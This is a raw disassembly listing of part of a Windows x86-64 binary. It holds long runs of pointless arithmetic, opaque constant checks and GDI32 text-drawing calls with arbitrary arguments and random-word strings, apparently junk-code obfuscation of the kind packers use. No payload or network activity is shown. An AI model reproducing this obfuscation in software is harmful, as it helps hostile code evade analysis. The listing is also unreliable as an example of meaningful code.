mov rax, qword [rsp + 0xa318]
add rax, rcx
mov qword [rsp + 0x40d8], rax
mov eax, dword [rsp + 0x56a0]
movzx ecx, al
mov eax, dword [rsp + 0xee0]
sar eax, cl
mov dword [rsp + 0xb360], eax
mov eax, dword [rsp + 0x99c0]
movzx ecx, al
mov eax, dword [rsp + 0x30e0]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
movzx ecx, byte [rsp + 0x2348]
movzx eax, byte [0x1400f758a]
xor ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
mov rax, qword [rsp + 0x6f10]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x15c4]
or ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
mov rax, qword [rsp + 0x6f10]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x15c4]
and ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
mov rax, qword [rsp + 0x3430]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x3ba8]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x8ba0]
mov word [rax], cx
movzx ecx, word [rsp + 0x15c4]
movzx eax, word [rsp + 0xa8b0]
add ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
mov ecx, dword [rsp + 0x4af4]
mov eax, dword [rsp + 0x56a0]
add eax, ecx
mov dword [rsp + 0xb360], eax
cmp dword [rsp + 0x82e8], 0x6fa4
jb 0x14003d0f7
cmp dword [rsp + 0x8280], 0xb17c
je 0x14003d901
mov rax, qword [rsp + 0x9238]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x99c0]
sub eax, ecx
mov dword [rsp + 0x30e0], eax
mov rax, qword [rsp + 0x40d8]
mov rcx, qword [rsp + 0x4c78]
and rcx, rax
mov rax, qword [rsp + 0x6f90]
mov qword [rax], rcx
mov rcx, qword [0x1400f62d0]
mov rax, qword [rsp + 0x9b18]
sub rax, rcx
mov qword [rsp + 0x6e48], rax
movzx ecx, byte [0x1400f758a]
movzx eax, byte [rsp + 0x2348]
sub ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
movzx edx, byte [0x1400f758a]
mov rax, qword [0x1400f7f18]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x2348], al
mov rax, qword [rsp + 0x6f10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15c4]
add eax, ecx
mov word [rsp + 0xa8b0], ax
mov rax, qword [rsp + 0x8ba0]
movsx edx, word [rax]
movsx eax, word [rsp + 0x4274]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x3ba8]
mov word [rax], cx
movsx edx, word [rsp + 0x4274]
mov rax, qword [rsp + 0x3430]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x3ba8]
mov word [rax], cx
mov rax, qword [rsp + 0x4c78]
mov rcx, qword [rsp + 0x40d8]
xor rcx, rax
mov rax, qword [rsp + 0x6f90]
mov qword [rax], rcx
mov rax, qword [rsp + 0x9238]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x30e0]
or ecx, eax
mov rax, qword [rsp + 0x1a10]
mov dword [rax], ecx
mov eax, dword [rsp + 0x99c0]
mov ecx, dword [rsp + 0x30e0]
and ecx, eax
mov rax, qword [rsp + 0x1a10]
mov dword [rax], ecx
mov rax, qword [rsp + 0x6f10]
movzx ecx, word [rax]
movzx eax, word [rsp + 0xa8b0]
add ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
movzx ecx, word [rsp + 0x15c4]
movzx eax, word [rsp + 0xa8b0]
sub ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
mov eax, dword [rsp + 0x8280]
add eax, 3
mov dword [rsp + 0x8280], eax
movsx eax, byte [rsp + 0x2858]
sub eax, 0x78
mov byte [str.__._v], al
mov rax, qword [rsp + 0x40d8]
mov rcx, qword [rsp + 0x4c78]
add rcx, rax
mov rax, qword [rsp + 0x6f90]
mov qword [rax], rcx
mov rax, qword [rsp + 0x8ba0]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x3430]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x3ba8]
mov word [rax], cx
mov rax, qword [0x1400f7f18]
movzx eax, byte [rax]
movzx ecx, byte [0x1400f758a]
and eax, ecx
mov byte [rsp + 0x2348], al
mov rax, qword [rsp + 0x6f90]
mov rax, qword [rax]
add rax, qword [0x1400f62c8]
mov qword [rsp + 0x4c78], rax
mov ecx, dword [rsp + 0xb360]
mov eax, dword [rsp + 0xee0]
sub eax, ecx
mov dword [rsp + 0x4af4], eax
mov ecx, dword [0x1400f62d8]
mov eax, dword [rsp + 0x99c0]
sub eax, ecx
mov dword [rsp + 0x30e0], eax
movzx edx, word [rsp + 0xa8b0]
movzx eax, word [rsp + 0x15c4]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
movzx edx, word [rsp + 0x15c4]
mov rax, qword [rsp + 0x6f10]
movzx ecx, word [rax]
mov eax, edx
xor eax, ecx
mov word [rsp + 0xa8b0], ax
mov rax, qword [0x1400f7f18]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x2348]
or ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
mov rax, qword [rsp + 0x6f10]
movzx edx, word [rax]
movzx eax, word [rsp + 0x15c4]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
movzx ecx, word [rsp + 0x15c4]
movzx eax, word [rsp + 0xa8b0]
and ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
mov rax, qword [rsp + 0x8ba0]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x4274]
add ecx, eax
mov rax, qword [rsp + 0x3ba8]
mov word [rax], cx
mov rax, qword [rsp + 0x9238]
mov ecx, dword [rsp + 0x99c0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x30e0], eax
mov rax, qword [rsp + 0x6f90]
mov rcx, qword [rsp + 0x40d8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4c78], rax
mov ecx, dword [rsp + 0x56a0]
mov eax, dword [rsp + 0xb360]
add eax, ecx
mov dword [rsp + 0xee0], eax
movzx ecx, word [rsp + 0x15c4]
movzx eax, word [rsp + 0xa8b0]
add ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
mov rax, qword [0x1400f7f18]
movzx eax, byte [rax]
movzx ecx, byte [0x1400f758a]
sub eax, ecx
mov byte [rsp + 0x2348], al
jmp 0x14003d558
mov eax, dword [rsp + 0x56a0]
mov dword [rsp + 0xb9f0], eax
cmp dword [rsp + 0xb9f0], 0x1fe8fb97
je 0x14003d91e
jmp 0x14003d957
mov rax, qword [0x1400f7f18]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x2348]
and ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
mov rax, qword [0x1400f7f18]
movzx eax, byte [rax]
movzx ecx, byte [0x1400f758a]
add eax, ecx
mov byte [rsp + 0x2348], al
jmp 0x14003d991
movzx eax, byte [rsp + 0x2858]
mov byte [rsp + 0x9788], al
lea rax, [rsp + 0x4274]
mov qword [rsp + 0xfb8], rax
mov dword [rsp + 0x9d3c], 0x50d0
lea rax, [rsp + 0x2858]
mov qword [rsp + 0x89a8], rax
movsx eax, word [rsp + 0x4274]
mov dword [rsp + 0xb9f4], eax
cmp dword [rsp + 0xb9f4], 0
je 0x14003d9bc
cmp dword [rsp + 0xb9f4], 0x2939
je 0x14003d9ff
jmp 0x14003db3a
lea rax, [rsp + 0x6e48]
mov qword [rsp + 0x8370], rax
mov rcx, qword [rsp + 0x6f90]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0xa318]
or rax, rcx
mov qword [rsp + 0x4c78], rax
lea rax, [rsp + 0x99c0]
mov qword [rsp + 0x1238], rax
jmp 0x14003db3a
lea rax, [rsp + 0xa318]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x9b18]
mov r8d, 0xe7
mov edx, 0xac
mov rcx, qword [rsp + 0xa18]
call qword [sym.imp.GDI32.dll_GetCharABCWidthsI]
mov dword [rsp + 0x1d80], eax
mov rax, qword [rsp + 0x6f10]
movzx edx, word [rax]
movzx eax, word [rsp + 0xa8b0]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
mov eax, dword [rsp + 0x30e0]
movzx ecx, al
mov edx, dword [rsp + 0x99c0]
shr edx, cl
mov ecx, dword [0x1400f7e28]
mov eax, dword [0x1400f62d8]
xor eax, ecx
cmp edx, eax
jb 0x14003db0c
mov rax, qword [rsp + 0x1238]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x30e0]
add eax, ecx
mov dword [0x1400f62d8], eax
lea rax, [rsp + 0x2348]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x5b18]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xb030]
mov qword [rsp + 0x20], rax
mov r9d, 0x4d
mov r8d, 0x64
lea rdx, str.Alveolar_Quantitatively_Premiership_lightweights
mov rcx, qword [rsp + 0x1358]
call qword [sym.imp.GDI32.dll_GetTextExtentExPointW]
mov dword [rsp + 0x9860], eax
mov rax, qword [rsp + 0x6f10]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x15c4]
and ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
mov r9, qword [rsp + 0x6f90]
mov r9, qword [r9]
mov r8, qword [rsp + 0x6e48]
mov rdx, qword [rsp + 0x8370]
mov rdx, qword [rdx]
mov rcx, qword [rsp + 0x8370]
mov rcx, qword [rcx]
call fcn.1400b5010
movzx eax, word [rsp + 0x15c4]
mov dword [rsp + 0xb9f8], eax
cmp dword [rsp + 0xb9f8], 0x9b0
je 0x14003db5b
jmp 0x14003dc7a
mov rax, qword [0x1400f7f18]
movzx eax, byte [rax]
movzx ecx, byte [0x1400f758a]
sub eax, ecx
mov byte [rsp + 0x2348], al
mov rax, qword [rsp + 0x3430]
movsx eax, word [rax]
mov dword [rsp + 0xb9fc], eax
cmp dword [rsp + 0xb9fc], 0x250c
je 0x14003dbaa
cmp dword [rsp + 0xb9fc], 0x3dc1
je 0x14003dc5b
jmp 0x14003dc78
mov rax, qword [rsp + 0x3ba8]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x3430]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x8ba0]
mov word [rax], cx
mov rcx, qword [rsp + 0x2f70]
call qword [sym.imp.GDI32.dll_AbortPath]
mov dword [rsp + 0x58d4], eax
movsx ecx, word [rsp + 0x4274]
mov rax, qword [rsp + 0x3ba8]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x3430]
mov word [rax], cx
mov rax, qword [rsp + 0x6f90]
mov rcx, qword [rsp + 0x40d8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4c78], rax
mov rax, qword [rsp + 0x8ba0]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
movzx r9d, word [rsp + 0x4274]
mov r8, qword [rsp + 0x8370]
mov r8, qword [r8]
movzx edx, byte [rsp + 0x2348]
movzx ecx, word [rsp + 0x4274]
call fcn.1400b56b0
jmp 0x14003dc78
mov rcx, qword [rsp + 0x1238]
mov eax, dword [rsp + 0x99c0]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x1238]
mov dword [rax], ecx
jmp 0x14003dcb8
lea rax, [rsp + 0x56a0]
mov qword [rsp + 0xb690], rax
mov rax, qword [rsp + 0x8370]
mov rax, qword [rax]
mov qword [rsp + 0x5298], rax
lea rax, [rsp + 0xa8b0]
mov qword [rsp + 0x7240], rax
mov dword [rsp + 0x9d28], 0x9bb7
mov rax, qword [rsp + 0x89a8]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x9788]
sub ecx, eax
mov rax, qword [rsp + 0x89a8]
mov byte [rax], cl
mov rax, qword [rsp + 0x8ba0]
movsx edx, word [rax]
mov rax, qword [rsp + 0x3ba8]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x4274], ax
mov rax, qword [rsp + 0x7240]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15c4]
and eax, ecx
mov word [rsp + 0xa8b0], ax
mov rax, qword [rsp + 0x89a8]
movsx edx, byte [rax]
movsx eax, byte [rsp + 0x2858]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x89a8]
mov byte [rax], cl
mov eax, dword [rsp + 0xb360]
mov ecx, dword [rsp + 0x4af4]
xor ecx, eax
mov rax, qword [rsp + 0xb690]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x1238]
mov eax, dword [0x1400f62d8]
mov ecx, dword [rcx]
or ecx, eax
mov rax, qword [rsp + 0x1238]
mov dword [rax], ecx
mov rax, qword [rsp + 0x6e48]
movzx ecx, al
mov rax, qword [rsp + 0x5298]
sar rax, cl
mov rcx, rax
mov rax, qword [rsp + 0x8370]
mov qword [rax], rcx
mov rax, qword [0x1400f7f18]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x2348]
add ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
movzx edx, word [rsp + 0xa8b0]
mov rax, qword [rsp + 0x7240]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x15c4], ax
movsx edx, byte [rsp + 0x2858]
mov rax, qword [rsp + 0x89a8]
movsx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [rsp + 0x9788], al
mov rax, qword [rsp + 0x3430]
movsx ecx, word [rax]
mov rax, qword [rsp + 0xfb8]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x3ba8]
mov word [rax], cx
mov rax, qword [rsp + 0x4c78]
mov rcx, qword [rsp + 0x40d8]
add rcx, rax
mov rax, qword [rsp + 0x6f90]
mov qword [rax], rcx
mov eax, dword [rsp + 0x1ab4]
sub eax, 0xaf
mov dword [rsp + 0x1ab4], eax
movzx ecx, word [rsp + 0xa8b0]
movzx eax, word [rsp + 0x15c4]
sub ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
mov rax, qword [rsp + 0x9b18]
mov rcx, qword [rsp + 0x6e48]
add rcx, rax
mov rax, qword [rsp + 0x8370]
mov qword [rax], rcx
mov rax, qword [rsp + 0xb690]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x56a0]
sub eax, ecx
mov dword [rsp + 0x4af4], eax
mov rax, qword [rsp + 0x9238]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x30e0]
sub ecx, eax
mov rax, qword [rsp + 0x1a10]
mov dword [rax], ecx
mov rax, qword [0x1400f7f18]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x2348]
sub ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
movzx edx, word [rsp + 0x15c4]
mov rax, qword [rsp + 0x6f10]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0xa8b0], ax
mov rax, qword [rsp + 0x3ba8]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x4274]
xor ecx, eax
mov rax, qword [rsp + 0xfb8]
mov word [rax], cx
movsx edx, byte [rsp + 0x2858]
movsx eax, byte [rsp + 0x9788]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x89a8]
mov byte [rax], cl
mov rcx, qword [rsp + 0x6f90]
mov rax, qword [rsp + 0x40d8]
mov rcx, qword [rcx]
or rcx, rax
mov rax, qword [rsp + 0x6f90]
mov qword [rax], rcx
mov rax, qword [rsp + 0x89a8]
movsx edx, byte [rax]
movsx eax, byte [rsp + 0x2858]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x9788], al
mov eax, dword [rsp + 0xb360]
mov ecx, dword [rsp + 0x56a0]
and ecx, eax
mov rax, qword [rsp + 0xb690]
mov dword [rax], ecx
mov rax, qword [rsp + 0x8370]
mov rcx, qword [rsp + 0x5298]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9b18], rax
mov rax, qword [rsp + 0x1a10]
mov ecx, dword [rsp + 0x99c0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x30e0], eax
mov rcx, qword [rsp + 0x6f90]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0xa318]
and rax, rcx
mov qword [0x1400f62c8], rax
movsx ecx, word [rsp + 0x4274]
mov rax, qword [rsp + 0x3ba8]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x8ba0]
mov word [rax], cx
mov rax, qword [rsp + 0x3430]
movsx edx, word [rax]
mov rax, qword [rsp + 0x8ba0]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x4274], ax
mov rax, qword [rsp + 0xfb8]
movsx edx, word [rax]
mov rax, qword [rsp + 0x8ba0]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x4274], ax
mov rax, qword [rsp + 0x7240]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x15c4]
sub ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
mov rax, qword [rsp + 0x7240]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x15c4]
sub ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
mov ecx, dword [0x1400f7e28]
mov eax, dword [rsp + 0x99c0]
or eax, ecx
mov dword [rsp + 0x30e0], eax
mov rcx, qword [rsp + 0x8370]
mov rax, qword [rsp + 0x6e48]
mov rcx, qword [rcx]
xor rcx, rax
mov rax, qword [rsp + 0x8370]
mov qword [rax], rcx
mov eax, dword [rsp + 0xee0]
movzx ecx, al
mov eax, dword [rsp + 0x4af4]
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0xb690]
mov dword [rax], ecx
movzx edx, byte [rsp + 0x2348]
movzx eax, byte [0x1400f758a]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
mov rcx, qword [rsp + 0x8370]
mov rax, qword [rsp + 0x5298]
mov rcx, qword [rcx]
and rcx, rax
mov rax, qword [rsp + 0x8370]
mov qword [rax], rcx
cmp dword [rsp + 0x1ab4], 0x41ec
ja 0x14003dcb8
mov rax, qword [rsp + 0xfb8]
movsx edi, word [rax]
mov rax, qword [rsp + 0x3ba8]
movsx eax, word [rax]
add edi, eax
movsx edx, word [rsp + 0x4274]
mov rax, qword [rsp + 0x8ba0]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
cmp edi, eax
jle 0x14003e21e
movzx edx, word [rsp + 0x15c4]
mov rax, qword [rsp + 0x6f10]
movzx ecx, word [rax]
mov eax, edx
and eax, ecx
mov word [rsp + 0xa8b0], ax
lea rax, [rsp + 0x3ba8]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x54
lea rax, str.Egoists_workhorses_elasticity
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x89a8]
mov qword [rsp + 0x20], rax
mov r9d, 0x62
mov r8d, 0xed
mov edx, 0xb3
mov rcx, qword [rsp + 0x9488]
call qword [sym.imp.GDI32.dll_ExtTextOutW]
mov dword [rsp + 0x58d4], eax
mov rax, qword [rsp + 0x6f90]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x89a8]
movzx r9d, byte [rax]
mov r8d, dword [rsp + 0x99c0]
mov rax, qword [rsp + 0x89a8]
movzx edx, byte [rax]
mov rcx, qword [rsp + 0xa318]
call fcn.1400b5a80
jmp 0x14003e357
mov rax, qword [rsp + 0xb690]
mov edx, dword [rax]
add edx, dword [rsp + 0xb360]
mov ecx, dword [rsp + 0xee0]
mov eax, dword [rsp + 0x4af4]
sub eax, ecx
cmp edx, eax
jl 0x14003e357
lea rax, [rsp + 0x4274]
mov qword [rsp + 0x13c0], rax
mov rax, qword [rsp + 0x89a8]
mov al, byte [rax]
mov byte [rsp + 0xba00], al
cmp byte [rsp + 0xba00], 0x1b
je 0x14003e274
jmp 0x14003e299
movsx ecx, word [rsp + 0x4274]
mov rax, qword [rsp + 0x3ba8]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0xfb8]
mov word [rax], cx
jmp 0x14003e341
lea rax, [rsp + 0x9788]
mov qword [rsp + 0x7350], rax
mov eax, dword [rsp + 0x30e0]
mov dword [rsp + 0xba04], eax
cmp dword [rsp + 0xba04], 0x39fe6916
je 0x14003e2c6
jmp 0x14003e341
mov edx, 0x89
mov rcx, qword [rsp + 0x2f70]
call qword [sym.imp.GDI32.dll_SelectClipPath]
mov dword [rsp + 0x2cb8], eax
mov rcx, qword [rsp + 0x5298]
mov rax, qword [rsp + 0x6e48]
add rax, rcx
mov qword [rsp + 0x9b18], rax
mov rax, qword [rsp + 0x9238]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x1238]
add ecx, dword [rax]
mov rax, qword [rsp + 0x1a10]
mov dword [rax], ecx
lea r9, [rsp + 0x9788]
mov r8d, 0x40
mov edx, 0x4a
mov rcx, qword [rsp + 0x1358]
call qword [sym.imp.GDI32.dll_SetViewportOrgEx]
mov dword [rsp + 0x288], eax
mov dword [rsp + 0x9d38], 0xc499
mov dword [rsp + 0x72c0], 0x6ae3
mov rax, qword [rsp + 0xa318]
mov rcx, qword [0x1400f62c8]
sub rcx, rax
mov rax, qword [rsp + 0x6f90]
mov qword [rax], rcx
movzx ecx, byte [rsp + 0x2348]
movzx eax, byte [0x1400f758a]
xor ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
mov rax, qword [rsp + 0x8ba0]
movsx edx, word [rax]
mov rax, qword [rsp + 0xfb8]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x13c0]
mov word [rax], cx
mov rax, qword [rsp + 0x89a8]
movsx edx, byte [rax]
movsx eax, byte [rsp + 0x9788]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x7350]
mov byte [rax], cl
movzx edx, byte [0x1400f758a]
mov rax, qword [0x1400f7f18]
movzx ecx, byte [rax]
mov eax, edx
or eax, ecx
mov byte [rsp + 0x2348], al
mov rax, qword [rsp + 0x89a8]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x2858]
and ecx, eax
mov rax, qword [rsp + 0x7350]
mov byte [rax], cl
movzx ecx, word [rsp + 0xa8b0]
movzx eax, word [rsp + 0x15c4]
add ecx, eax
mov rax, qword [rsp + 0x7240]
mov word [rax], cx
mov ecx, dword [0x1400f7e28]
mov eax, dword [rsp + 0x30e0]
sub eax, ecx
mov dword [rsp + 0x99c0], eax
mov rax, qword [rsp + 0x6f90]
mov rcx, qword [rsp + 0x40d8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa318], rax
mov rax, qword [rsp + 0x8370]
mov rax, qword [rax]
add rax, qword [rsp + 0x9b18]
mov qword [rsp + 0x5298], rax
movzx ecx, byte [rsp + 0x2348]
movzx eax, byte [0x1400f758a]
add ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
mov rax, qword [rsp + 0x3ba8]
movsx edx, word [rax]
mov rax, qword [rsp + 0x8ba0]
movsx ecx, word [rax]
mov eax, edx
and eax, ecx
mov word [rsp + 0x4274], ax
mov rax, qword [rsp + 0x6f10]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x15c4]
add ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
movzx edx, byte [0x1400f758a]
mov rax, qword [0x1400f7f18]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x2348], al
movsx ecx, byte [rsp + 0x9788]
movsx eax, byte [rsp + 0x2858]
sub ecx, eax
mov rax, qword [rsp + 0x7350]
mov byte [rax], cl
mov rax, qword [rsp + 0x3ba8]
movsx edx, word [rax]
mov rax, qword [rsp + 0x13c0]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x4274], ax
mov rcx, qword [rsp + 0xb690]
mov eax, dword [rsp + 0x4af4]
mov ecx, dword [rcx]
or ecx, eax
mov rax, qword [rsp + 0xb690]
mov dword [rax], ecx
mov eax, dword [rsp + 0x3520]
add eax, 0xc8
mov dword [rsp + 0x3520], eax
mov rcx, qword [rsp + 0x1a10]
mov eax, dword [rsp + 0x99c0]
mov ecx, dword [rcx]
xor ecx, eax
mov rax, qword [rsp + 0x1238]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x5298]
mov rax, qword [rsp + 0x8370]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9b18], rax
mov rax, qword [rsp + 0x6f90]
mov rcx, qword [0x1400f62c8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4c78], rax
movsx edx, byte [rsp + 0x2858]
mov rax, qword [rsp + 0x7350]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [str.__._v], al
mov rax, qword [rsp + 0x1a10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99c0]
sub ecx, eax
mov rax, qword [rsp + 0x1238]
mov dword [rax], ecx
movzx edx, word [rsp + 0xa8b0]
mov rax, qword [rsp + 0x6f10]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x15c4], ax
movzx edx, byte [0x1400f758a]
mov rax, qword [0x1400f7f18]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x2348], al
mov rax, qword [rsp + 0x3ba8]
movsx edx, word [rax]
mov rax, qword [rsp + 0x8ba0]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x4274], ax
mov rax, qword [rsp + 0x8370]
mov rax, qword [rax]
add rax, qword [rsp + 0x9b18]
mov qword [rsp + 0x5298], rax
mov rcx, qword [rsp + 0x1a10]
mov eax, dword [rsp + 0x99c0]
mov ecx, dword [rcx]
and ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov rax, qword [rsp + 0xb690]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x4af4]
mov rax, qword [rsp + 0xb690]
mov dword [rax], ecx
cmp dword [rsp + 0x3520], 0xe940
jbe 0x14003e357
mov rcx, qword [rsp + 0x40d8]
mov rax, qword [rsp + 0x6f90]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa318], rax
movzx edx, byte [rsp + 0x2348]
mov rax, qword [0x1400f7f18]
movzx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [0x1400f758a], al
mov rax, qword [rsp + 0xfb8]
movsx edx, word [rax]
mov rax, qword [rsp + 0x3ba8]
movsx ecx, word [rax]
mov eax, edx
xor eax, ecx
mov word [rsp + 0x4274], ax
mov rax, qword [rsp + 0x7350]
movsx ecx, byte [rax]
mov rax, qword [rsp + 0x89a8]
movsx eax, byte [rax]
or ecx, eax
mov rax, qword [rsp + 0x7350]
mov byte [rax], cl
movsx ecx, byte [str.__._v]
mov rax, qword [rsp + 0x89a8]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x7350]
mov byte [rax], cl
movzx edx, word [rsp + 0x15c4]
mov rax, qword [rsp + 0x6f10]
movzx ecx, word [rax]
mov eax, edx
and eax, ecx
mov word [rsp + 0xa8b0], ax
mov rcx, qword [rsp + 0x8370]
mov rax, qword [rsp + 0x5298]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x8370]
mov qword [rax], rcx
mov eax, dword [rsp + 0xb360]
mov ecx, dword [rsp + 0xee0]
add ecx, eax
mov rax, qword [rsp + 0xb690]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x9238]
mov rax, qword [rsp + 0x1a10]
mov eax, dword [rax]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x1238]
mov dword [rax], ecx
mov rax, qword [rsp + 0xa318]
mov rcx, qword [rsp + 0x40d8]
add rcx, rax
mov rax, qword [rsp + 0x6f90]
mov qword [rax], rcx
mov rax, qword [0x1400f7f18]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x2348]
sub ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
mov rax, qword [rsp + 0x7350]
movsx ecx, byte [rax]
mov rax, qword [rsp + 0x89a8]
movsx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x7350]
mov byte [rax], cl
mov eax, dword [rsp + 0x38dc]
add eax, 0xb4
mov dword [rsp + 0x38dc], eax
mov rax, qword [rsp + 0x8ba0]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x4274]
add ecx, eax
mov rax, qword [rsp + 0x3ba8]
mov word [rax], cx
mov rax, qword [rsp + 0x7350]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x2858]
and ecx, eax
mov rax, qword [rsp + 0x7350]
mov byte [rax], cl
mov rax, qword [rsp + 0x6f10]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x15c4]
xor ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
cmp dword [rsp + 0x38dc], 0xd94c
jbe 0x14003e6c1
movsx edi, byte [rsp + 0x2858]
movsx eax, byte [rsp + 0x9788]
movzx ecx, al
sar edi, cl
mov rax, qword [rsp + 0x89a8]
